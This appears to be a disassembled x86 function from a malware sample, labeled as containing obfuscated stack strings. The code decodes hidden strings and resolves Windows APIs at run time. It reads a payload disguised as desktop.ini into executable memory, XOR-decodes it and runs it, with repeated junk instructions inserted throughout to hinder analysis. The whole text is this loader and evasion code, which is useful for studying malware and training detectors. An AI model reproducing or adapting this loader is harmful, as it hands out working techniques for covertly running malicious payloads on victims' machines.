Function at 0x10001240
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90
push ebx
push esi
push edi
mov byte [ebp - 0x88], 0x66
mov byte [ebp - 0x87], 0x6d
mov byte [ebp - 0x86], 0x6e
mov byte [ebp - 0x85], 0x4b
mov byte [ebp - 0x84], 0x76
mov byte [ebp - 0x83], 0x6e
mov byte [ebp - 0x82], 0x63
mov byte [ebp - 0x81], 0x6d
mov byte [ebp - 0x80], 0x68
mov byte [ebp - 0x7f], 0x56
mov byte [ebp - 0x7e], 0x73
mov byte [ebp - 0x7d], 0x64
mov byte [ebp - 0x7c], 0x46
mov byte [ebp - 0x7b], 0x7b
mov byte [ebp - 0x7a], 0x64
mov byte [ebp - 0x79], 0x6b
mov byte [ebp - 0x78], 0x68
mov byte [ebp - 0x77], 0x45
mov byte [ebp - 0x76], 0x63
mov byte [ebp - 0x75], 0x60
mov byte [ebp - 0x74], 0x64
mov byte [ebp - 0x73], 0x51
mov byte [ebp - 0x72], 0x7b
mov byte [ebp - 0x71], 0x72
mov byte [ebp - 0x70], 0x72
mov byte [ebp - 0x6f], 0x64
mov byte [ebp - 0x6e], 0x62
mov byte [ebp - 0x6d], 0x6e
mov byte [ebp - 0x6c], 0x71
mov byte [ebp - 0x6b], 0x4f
mov byte [ebp - 0x6a], 0x73
mov byte [ebp - 0x69], 0x68
mov byte [ebp - 0x68], 0x77
mov byte [ebp - 0x67], 0x44
mov byte [ebp - 0x66], 0x7b
mov byte [ebp - 0x65], 0x62
mov byte [ebp - 0x64], 0x6e
mov byte [ebp - 0x63], 0x6b
mov byte [ebp - 0x62], 0x6b
mov byte [ebp - 0x61], 0x40
mov byte [ebp - 0x60], 0x6b
mov byte [ebp - 0x5f], 0x60
mov byte [ebp - 0x5e], 0x74
mov byte [ebp - 0x5d], 0x73
mov byte [ebp - 0x5c], 0x71
mov byte [ebp - 0x5b], 0x68
mov byte [ebp - 0x5a], 0x55
mov byte [ebp - 0x59], 0x7b
mov byte [ebp - 0x58], 0x64
mov byte [ebp - 0x57], 0x66
mov byte [ebp - 0x56], 0x60
mov byte [ebp - 0x55], 0x72
mov byte [ebp - 0x54], 0x72
mov byte [ebp - 0x53], 0x64
mov byte [ebp - 0x52], 0x4c
mov byte [ebp - 0x51], 0x63
mov byte [ebp - 0x50], 0x6d
mov byte [ebp - 0x4f], 0x64
mov byte [ebp - 0x4e], 0x52
mov byte [ebp - 0x4d], 0x7b
mov byte [ebp - 0x4c], 0x56
mov byte [ebp - 0x4b], 0x64
mov byte [ebp - 0x4a], 0x73
mov byte [ebp - 0x49], 0x74
mov byte [ebp - 0x48], 0x62
mov byte [ebp - 0x47], 0x64
mov byte [ebp - 0x46], 0x77
mov byte [ebp - 0x45], 0x44
mov byte [ebp - 0x44], 0x6b
mov byte [ebp - 0x43], 0x6b
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x67
mov byte [ebp - 0x40], 0x52
mov byte [ebp - 0x3f], 0x7b
mov byte [ebp - 0x3e], 0x56
mov byte [ebp - 0x3d], 0x77
mov byte [ebp - 0x3c], 0x6e
mov byte [ebp - 0x3b], 0x41
mov byte [ebp - 0x3a], 0x64
mov byte [ebp - 0x39], 0x66
mov byte [ebp - 0x38], 0x60
mov byte [ebp - 0x37], 0x72
mov byte [ebp - 0x36], 0x72
mov byte [ebp - 0x35], 0x64
mov byte [ebp - 0x34], 0x4c
mov byte [ebp - 0x33], 0x7b
mov byte [ebp - 0x32], 0x40
mov byte [ebp - 0x31], 0x64
mov byte [ebp - 0x30], 0x6b
mov byte [ebp - 0x2f], 0x68
mov byte [ebp - 0x2e], 0x45
mov byte [ebp - 0x2d], 0x64
mov byte [ebp - 0x2c], 0x73
mov byte [ebp - 0x2b], 0x60
mov byte [ebp - 0x2a], 0x64
mov byte [ebp - 0x29], 0x71
mov byte [ebp - 0x28], 0x42
mov byte [ebp - 0x27], 0x7b
mov byte [ebp - 0x26], 0x40
mov byte [ebp - 0x25], 0x77
mov byte [ebp - 0x24], 0x6e
mov byte [ebp - 0x23], 0x41
mov byte [ebp - 0x22], 0x64
mov byte [ebp - 0x21], 0x66
mov byte [ebp - 0x20], 0x60
mov byte [ebp - 0x1f], 0x72
mov byte [ebp - 0x1e], 0x72
mov byte [ebp - 0x1d], 0x64
mov byte [ebp - 0x1c], 0x4c
mov byte [ebp - 0x1b], 0
lea eax, [ebp - 0x88]
push eax
call fcn.10001200
add esp, 4
mov byte [ebp - 0x71], 0
mov byte [ebp - 0x65], 0
mov byte [ebp - 0x57], 0
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x3e], 0
mov byte [ebp - 0x29], 0
lea ecx, [ebp - 0x64]
push ecx
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
lea edx, [ebp - 0x7c]
push edx
push 0x1000202c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
lea eax, [ebp - 0x31]
push eax
push 0x1000203c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
lea ecx, [ebp - 0x4a]
push ecx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
push 1
push 0
push 0
push 0x1000205c
push 0
push 0
call dword [ebp - 0x18]
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.desktop.ini
call dword [ebp - 8]
mov dword [0x10003030], eax
cmp dword [0x10003030], 0xffffffff
jne 0x1000159a
jmp 0x100016ad
push 0x40
push 0x1000
push 0x1000
push 0
call dword [ebp - 0x10]
mov dword [0x1000302c], eax
push 0
push 0x10003034
push 0x1000
mov edx, dword [0x1000302c]
push edx
mov eax, dword [0x10003030]
push eax
call dword [ebp - 0xc]
mov ecx, dword [0x1000302c]
mov dl, byte [ecx]
mov byte [ebp - 0x89], dl
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
mov dword [ebp - 4], 0x42
movzx eax, byte [ebp - 0x89]
xor eax, 0x4e
mov dword [ebp - 0x14], eax
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
mov dword [ebp - 0x90], 0
jmp 0x10001651
mov ecx, dword [ebp - 0x90]
add ecx, 1
mov dword [ebp - 0x90], ecx
mov edx, dword [ebp - 0x90]
cmp edx, dword [0x10003034]
jae 0x10001683
mov eax, dword [0x1000302c]
add eax, dword [ebp - 0x90]
movzx ecx, byte [eax]
xor ecx, dword [ebp - 0x14]
add ecx, dword [ebp - 4]
mov edx, dword [0x1000302c]
add edx, dword [ebp - 0x90]
mov byte [edx], cl
jmp 0x10001642
push eax
add di, si
sub di, si
btc esi, 0x8d
cmp bl, 0xf5
btc esi, 0x8d
add dl, ah
sub dl, ah
pop eax
test ax, bp
push eax
push ebp
lea ebp, [ebp + ebp*2]
movzx ebx, bh
pop ebp
call dword [0x1000302c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10